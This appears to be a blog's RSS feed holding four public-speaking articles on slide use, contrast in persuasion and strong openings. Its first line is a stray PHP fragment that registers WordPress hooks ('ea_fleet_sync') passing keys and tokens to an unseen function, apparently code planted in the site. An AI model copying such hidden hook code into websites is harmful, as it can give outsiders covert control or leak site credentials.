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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Attention-grabbing Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/attention-grabbing/ Public speaking Thu, 26 Jan 2023 12:00:33 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

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]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

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]]> Contrast is key to powerful persuasion https://www.nowyouretalking.co.uk/2018/10/30/contrast-is-key-to-powerful-persuasion/ Tue, 30 Oct 2018 14:52:43 +0000 https://www.nowyouretalking.co.uk/?p=524 Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps…

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]]> Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps you ensure your message stands out.

Here are five opportunities for contrast when giving a persuasive speech or presentation:

Contrast

1. Contrast in the opening of your speech

Your opening needs to stand out and grab your audience’s attention so that they are focused on you and what you have to share with them, not thinking about the day they’ve had, what to cook for dinner or anything else that pops into their mind.  A polite, but innocuous platitude, such as “Hello, thank you for inviting me …” wastes those precious opening seconds when you need to make an impact and connect with your audience (the first step in persuasion).

A pause.  A smile.  Both are hard to pull off when you’re nervous, but dramatic in their impact.  Everyone warms to a genuine smile.  And a pause draws attention from whatever people are thinking about to focus on you and wonder what you will be sharing with them.

To keep their attention, open with a startling statistic, a personal anecdote (we all love a story), or a relevant quote from someone significant to your audience eg an industry expert or a famous person/historic figure.

 2. Contrast in content

In most business communication, the goal is to persuade your audience to adopt your call to action.  This might be to buy your sales pitch, affirm your recommendations, recommend you to others, etc.  Effective persuasion requires contrast in content.

Evidence-based information, eg statistics, track record or citation of a reinforcing quote from a relevant expert drive credibility, authority and recognition of your expertise.  However, these alone are not enough to persuade.  You need to contrast this ‘rational’ and ‘functional’ information with more emotive content that helps to build trust and relationships; connections with your listeners.  Here, storytelling and anecdotes come into their own.  They may reveal something about you as a person, what you are like to work with, your motivations and so on.  They are your chance to demonstrate your passion and enthusiasm for the case in hand.

Juxtaposed, the contrast of functional and emotive content can bring even greater potency to your message.

3. Contrast of language and words

Rich and colourful vocabulary stands out.  It works well in a speech or presentation in a way it might not in an everyday conversation.  We need to avoid words that are so obscure or jargonistic that people cannot understand and that is why it’s important to know your audience.  However, when we use rich language, it stands out as different and erudite, enhancing our credibility and authority as speakers.  For instance, instead of  ‘say’, try mutter, mumble, shout, whisper, etc.  They all communicate much more than just ‘saying’; they relate both the the act of saying and additionally convey the manner of that articulation.

Over and above words, we have rhetorical devices to contrast from everyday speech, for instance:

  • Alliteration, eg colourful contrasts communicate, startling statistic
  • Metaphor, an expression that describes a person or object by referring to something regarded as having similar characteristics, eg the city is a jungle, broken heart, bubbly personality
  • Repetition or ‘anaphora’ to give it its formal title appears in many speeches by public figures. One of my personal favourites is from Malala’s Nobel acceptance speech when she says:

“Let this be the last time that a girl or a boy spends their childhood in a factory.
Let this be the last time that a girl is forced into early child marriage.
Let this be the last time that a child loses life in war.
Let this be the last time that we see a child out of school.”

  • The rule of three pervades formal speeches, fairy stories, film titles, comedy.  Examples proliferate and you probably have your own favourites. One example I like is from Lewis Carroll’s Through the Looking Glass:

“The rule is: jam tomorrow, and jam yesterday, but never jam today”

Rhetorical devices like these give emphasis and colour, creating engaging and contrasting content.

4. Contrast of voice and body

I’m sure you’ve experienced the misery of the monotone. It’s hard to stay focused on a voice that drones on relentlessly, without any kind of variety of pitch, pace, volume, etc.  A voice that goes faster and slower, louder and quieter, harsher and softer, higher and lower is interesting.  That colour and contrast brings meaning and interest to our words and makes a greater impact.  For instance, if you say “the words tripped lightly off the tongue …”, you will render them more memorable if you use a short, staccato, light enunciation, using a faster pace that, combined, suggest the movement of the words themselves.

While you are talking, think about how you can use contrasting body language and gestures to give emphasis to your words.  If your hands and arms are constantly flailing around, you deny yourself the opportunity to use gestures. For example: to indicate height, position your hand to the relevant height, to indicate inclusion, use an all-encompassing sweep across your audience or wide arms coming together in a large, encircling gesture

 

To give your gestures impact, keep your arms relaxed and hanging loosely by your side and then move them when you want to reinforce a point.  Next time you are watching a play, note how the actors use gestures.

5. Contrasting stage positions

It is, without doubt, important to take a solid stance on stage because it conveys confidence.  A speaker shuffling about makes us feel uncomfortable and nervous and much less likely to be persuaded.  That’s not to say that you have to stay fixed in that position. Different parts of the stage can represent different locations, different points in time.  For instance, audience left for the past and audience right for the future.  When you change position, the audience travels with you to that time, place, etc.  The point is that these contrasting positions should always be taken with purpose, to reinforce your message.

Contrast is the light and shade, the interest, the difference that makes your speech or presentation stand out and helps your audience better remember your message.  To hold attention and persuade, contrast is crucial.

Recently published at:

Lid Radio

Empowered Business Magazine May 2018 pp21-22

Small Business Insider

 

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]]> Pizzazzing your sales presentation https://www.nowyouretalking.co.uk/2018/01/15/pizzazzing-your-sales-presentation/ Mon, 15 Jan 2018 18:52:27 +0000 https://www.nowyouretalking.co.uk/?p=319 When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options…

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]]> When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options for being more creative and having an immediate, positive impact on your audience. Starting well, being engaging and energetic makes it so much easier to keep momentum throughout your presentation.

Here are some tips on getting that early engagement and energy.

  1. Work your opening words

Lightbulb moment

Spend time working on the opening of your presentation. Practise in front of the mirror, in front of your family pet if necessary. Make sure you have a few strong sentences that will flow and get your ideas across clearly. While you are practising check that you look good too. Upright posture not only helps you exude energy it will give your clients confidence in you and encourage them to listen intently.

  1. Use anecdotes

Good presenters are adept at telling appropriate stories. They can be very brief and if told well they add colour and interest. We all have a stockpile of stories. Find one that will fit your client, perhaps a story that relates to something in the news that is relevant to their company or industry. By starting with a story you’ll set yourself apart from less accomplished presenters and energise your audience.

  1. Use active language

From the start of your presentation use active language. Avoid the passive voice. If you say “it is said that there is always a solution to a problem”, you leave everyone unsure about who will be taking responsibility for finding a solution. If you say “Today we will find a solution to this problem…” it is clear where responsibility lies and your audience will take notice.

  1. Come up with an anchor phrase

Motivational speakers often have an anchor phrase, words that everyone associates with them. You may not be standing up in front of 10,000 people in the Excel Centre but your job is still to motivate. So why not borrow a technique? “We’ll find a way”. “Yes we can!” “Paul for paper!” You can punctuate your presentation with your catch phrase right from the beginning. Doing so adds emphasis, fun, and makes you memorable. Who doesn’t need some fun or light relief in a business presentation?

  1. Quote an expert

If a catch phrase isn’t for you why not start with a high impact quote from an industry expert?  Someone respected by your audience. If the quote is recent so much the better. If it’s from a recent article or event you’ve attended you show you have your finger on the pulse. You also benefit from the credibility of the person you are quoting.

Quite often the main body of a sales presentation will contain information that we have to repeat for every client. Starting with pizzazz gives you a way to personalise your presentation and tailor it for your specific audience.

Starting with pizzazz helps you give a quality, professional presentation which builds momentum. And most importantly means you’ll seal the deal!

First published in Sales Initiative

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]]> Winning beginnings – opening your speech with impact https://www.nowyouretalking.co.uk/2017/10/20/winning-beginnings-opening-your-speech-with-impact/ Fri, 20 Oct 2017 10:31:42 +0000 https://www.nowyouretalking.co.uk/?p=145 You’ve written your speech.  You’ve edited, re-edited and re-edited.  Your speech has a clear structure and message. Now for the crucial opening words and their delivery – winning beginnings. Research has shown that the first 90 seconds of any speech have…

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]]> You’ve written your speech.  You’ve edited, re-edited and re-edited.  Your speech has a clear structure and message. Now for the crucial opening words and their delivery – winning beginnings.

Research has shown that the first 90 seconds of any speech have the most impact and are the most memorable. Thought, time and effort spent on your opening is a worthwhile investment.

Often your audience has already listened to several other presentations. This means you are in competition with what they’re already heard, with work issues, personal issues, and the big question: what am I having for dinner tonight? With the added distraction of mobile devices maybe they just appear attentive and interested.

You need to stand out from other speakers. This starts before you’ve even uttered your first word.  Expectations shape reality.  If your audience expects you to be good, they’ll perceive you as just that.  So dress the part and never admit to feeling anxious, unsure or unwell.

1.  Make an impact on your audience before you attempt to inform, persuade or inspire

The opening of your speech needs to provide them with a compelling reason to park all competing thoughts and give you their full attention for the duration of your speech.  Don’t waste the opening seconds with platitudes, such as thank you for inviting me, what an honour, etc, etc.  Friendly, but boring and predictable.

Robert Taylor auto-portrait

Auto-portrait by Robert Taylor www.taylor-photo.co.uk

Contrast and standout are crucial.  If every speaker stands up and opens with “Thank you Mr Chairman, valued colleagues and guests”, you will stand out if you have an opening that is different and inclusive.  For instance, “Mr Chairman, valued colleagues and everyone who has ever felt the pressure of hitting a mega sales target …”  This will immediately signal something different and interesting is about to happen.

After the formalities you have a few seconds to reinforce the initial expectations you’ve set.  Make a direct, dramatic opening which seizes your audience’s interest:  It can be compelling, humorous, shocking, challenging or imaginative.  Try using:

  • A rhetorical or a survey question. Cue the response you are looking for.  For instance, one hand raised in the air tells the audience you’re interested in a show of hands, not a verbal response. Look expectant, with open body language if you want people to shout out answers.
    Questions are even more effective when they are ‘you’ focused:
    Using the language of one-to-one conversation feels personal, that ‘speaking-just-to-me’ feeling
    ‘You’ speaks to one, but includes everyone, eg Are you having fun?
    Use ‘have you ever …?’ questions to achieve an emotional connection. Avoid ‘how many …?’ questions.  They can be distracting as people search for information in their memories
  • A statement in the form of a startling statistic or a bold claim can set the scene effectively for an informational or educational talk. “Did you know that …”
  • Paint a picture. This can start with “Imagine …” or “It was 2.30pm on a rainy Monday …”. The aim is to get your audience to visualise a scene in their minds.  Make it broad-brush. The audience will fill in the detail from their own experiences and memories. This will make it more powerful
  • Anecdote – a personal, amusing, short story that relates directly to your overall message. One that the audience can relate to
  • A recent quotation from a respected industry expert. The expert gives added credibility and, if it’s recent, you sound on the ball
  • Silence in the form of a distinct, confident pause. You will give your audience time to clear their minds of previous speeches or distractions, pique their curiosity and get them focused on what you might be about to say or do.

Whichever approach you adopt, appeal to their senses – what people see, hear, feel, smell, taste.  This will give your speech opening more emotional resonance and invites the audience in.

For example, if you are talking about restructuring your company, invite the audience to “Imagine an organisation where your colleagues are your friends, your office looks efficient yet feels welcoming, like home, the smell of coffee fills the air …”  Then continue with your story: “I don’t feel like that when I walk into our office.  Do you?”  In this way, you have tapped into the audience’s imagination and they’ll see themselves in your opening, using their frame of reference.

You can then bring them along on a journey as you continue your speech.

2.  Keep your opening active

Always speak in the active, not the passive, voice.  Don’t say “Our business needs to be restructured for growth …” which leaves the listener not sure who will be doing what by when.  Say “We need to restructure our business for growth … These are the next steps … who will … by when …”

Sentences in the active voice are shorter, have energy and directness.  Speaking in the here and now gives you and your opening message immediacy and presence.

3.  Introduce an ‘anchor phrase’ early on

Top speakers use anchor phrases.  A good anchor phrase should encapsulate the feeling and message of your speech.  For Martin Luther King it was “I have a dream”.  It’s a few words your audience will associate with you and your message.  When your phrase pops into their mind, the rest of your speech will be reactivated.  If you can make it rhythmic so much the better.

4.  Practise the delivery of  your opening

Practise your opening until it flows naturally and effortlessly.  On the day, take centre stage and ooze confidence with a solid posture and a smile. The stability of your opening stance will support the credibility of your message.  Look briefly around your audience.  This gives you time to calm your nerves and the audience time to settle down, and focus on you.  The pause will pique their curiosity – they will be eager to hear your opening words.

Used well, your powerful opening will prevent the audience thinking “so what?”, or “what’s in it for me?”  With a memorable opening, they are with you, wanting to know more.

Lyn has also contributed to the FT Adviser article “Make a direct, dramatic opening, says speech expert”

Recently republished at LID Radio

 

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